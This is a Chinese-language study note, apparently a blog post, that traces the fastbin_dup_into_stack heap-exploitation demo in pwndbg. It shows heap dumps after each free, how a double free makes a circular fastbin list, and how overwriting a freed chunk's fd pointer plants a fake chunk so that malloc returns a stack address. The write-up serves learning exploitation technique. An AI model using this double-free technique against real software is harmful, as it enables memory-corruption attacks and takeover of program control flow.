工具
pwngdb
直接分析
代码来自fastbin_dup_into_stack.c
首先gdb载入
运行到这里
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
看看堆的结构
pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0
0x602000 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
看到0x602060前面三个都是malloc的了。0x602060这个地方就是topchunk了。0x21实际上应该表示大小0x20,那个1是标志位
free(a)之后
0x602000 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到堆的信息没有什么变化
然后free(b)
// a
0x602000 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
// b
0x602020 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x602000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
很明显,b->fd指向了a之前申请的块。
看看具体的数据
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000602000这个地方就是那个fd啦。
接下来再free(a)一下
//a
0x602000 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x602020,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
//b
0x602020 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x602000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
可以看到a和b的fd都互相指了,构成了一个循环链表
fake chunk
stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
由上面这段,实际上是在栈上构造了假的堆块,然后利用double free,d获得了还在 free list的chunk a,对a的fd进行了修改,修改到了栈上,那么在再次free(a)之后,freelist就剩下了伪造的栈的块,再free,即可获得栈空间控制权
然后,可怕的事情就要发生了
//a
0x602000 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x7fffffffdeb0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
//b
0x602020 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x602000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
//c
0x602040 PREV_INUSE
{
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
a的fd变成了0x7fffffffdeb0
由malloc的机制很容易知道,下次malloc到0x602000这个地方的chunk的时候,就是0x7fffffffdeb0+0x10 = 0x7fffffffdec0,就是开始的指针a在栈上的地址。